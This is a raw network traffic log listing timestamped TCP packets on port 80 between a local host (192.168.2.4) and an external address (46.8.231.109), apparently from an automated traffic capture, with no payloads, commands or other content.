Oct 2, 2024 05:20:06.860723972 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.860743999 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.867643118 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.867666006 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.867675066 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.867732048 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.867743969 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.867753983 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.867765903 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.867784023 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.867793083 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.867815018 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.867841005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.867852926 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.867888927 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.868489981 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.868535042 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.868535042 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.868546009 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.868583918 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.868607998 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.868619919 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.868628979 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.868643045 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.868660927 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.868690968 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.868702888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.868730068 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.868752003 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.868983984 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869029045 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869046926 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869056940 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869066954 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869090080 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869096041 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869101048 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869107962 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869118929 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869147062 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869174004 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869189978 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869199991 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869210005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869230986 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869242907 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869366884 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869411945 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869421005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869460106 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869474888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869486094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869513988 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869522095 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869523048 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869563103 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869574070 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869581938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869594097 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869628906 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.869977951 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869987965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.869997978 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870026112 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.870038033 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870039940 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.870048046 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870059013 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870069981 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870078087 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.870093107 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.870106936 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870114088 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.870141983 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.870143890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870156050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870189905 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.870289087 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870297909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870309114 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870321035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870331049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870336056 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.870342970 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870362997 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.870382071 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.870438099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870448112 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.870481968 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.936547995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.936563015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.936575890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.936606884 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.936621904 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.936666965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.936678886 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.936688900 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.936701059 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.936711073 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.936712980 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.936737061 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.936748981 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.947738886 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.947773933 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.947789907 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.947793007 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.947807074 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.947835922 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.947863102 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.947884083 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.947917938 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948004961 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948015928 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948024988 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948036909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948046923 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948048115 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948067904 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948092937 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948146105 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948205948 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948215961 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948226929 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948245049 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948256969 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948323965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948388100 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948399067 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948427916 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948440075 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948476076 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948487997 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948498011 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948514938 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948528051 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948544025 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948554993 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948590994 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948788881 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948836088 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948844910 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948854923 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948882103 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948904991 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948905945 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948920012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.948955059 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.948985100 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949003935 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949024916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949069023 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.949106932 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.949238062 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949254990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949290991 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.949356079 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949389935 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.949390888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949403048 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949424982 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.949433088 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.949445009 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949502945 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949512959 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949539900 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.949539900 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.949567080 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.949927092 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949935913 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949969053 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.949975967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.949980021 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950028896 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950041056 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950067997 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950100899 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950130939 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950140953 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950151920 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950179100 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950182915 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950201988 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950223923 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950248003 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950258017 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950284004 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950295925 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950360060 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950371981 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950381994 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950392962 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950403929 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950434923 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950478077 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950592041 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950601101 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950628996 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950642109 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950654984 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950690985 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950721979 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950733900 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950767040 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950774908 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950781107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950792074 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950818062 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950823069 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.950835943 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.950861931 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.951133013 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.951143026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.951173067 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.951194048 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.951196909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.951232910 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.951262951 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.951273918 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.951299906 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.951308966 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.951313019 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.951347113 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.951356888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.951379061 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.951400042 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.958472013 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.958491087 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.958502054 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.958528996 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.958533049 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.958544016 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.958551884 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.958563089 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.958575010 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.958575010 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.958605051 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.958619118 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.959131956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.959151030 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.959189892 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.959218979 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.959232092 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.959268093 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.959300995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.959312916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.959325075 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.959348917 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.959362030 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.959808111 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.959830999 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.959834099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.959849119 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.959876060 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.959888935 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960009098 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960026979 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960037947 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960047960 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960059881 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960064888 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960088968 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960105896 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960120916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960131884 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960159063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960170031 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960191011 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960201979 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960236073 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960277081 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960287094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960298061 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960321903 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960334063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960639000 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960679054 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960700989 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960712910 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960752010 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960818052 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960828066 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960839033 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960848093 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960858107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960874081 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960906029 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.960968971 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960980892 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.960990906 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.961003065 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.961008072 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.961014986 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.961025953 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.961055994 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.961180925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.961191893 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.961201906 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.961215973 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.961240053 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.028029919 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.028070927 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.028086901 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.028093100 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.028106928 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.028131008 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.028558016 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.028595924 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.028599977 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.028614044 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.028630018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.028652906 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.028673887 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.038276911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038305044 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038319111 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038352013 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.038381100 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.038388968 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038403988 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038419008 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038463116 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.038511992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038526058 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038539886 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038539886 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.038599014 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.038649082 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038662910 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038676977 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.038686991 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.038722992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038732052 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038783073 CEST	80	49775	46.8.231.109	192.168.2.4
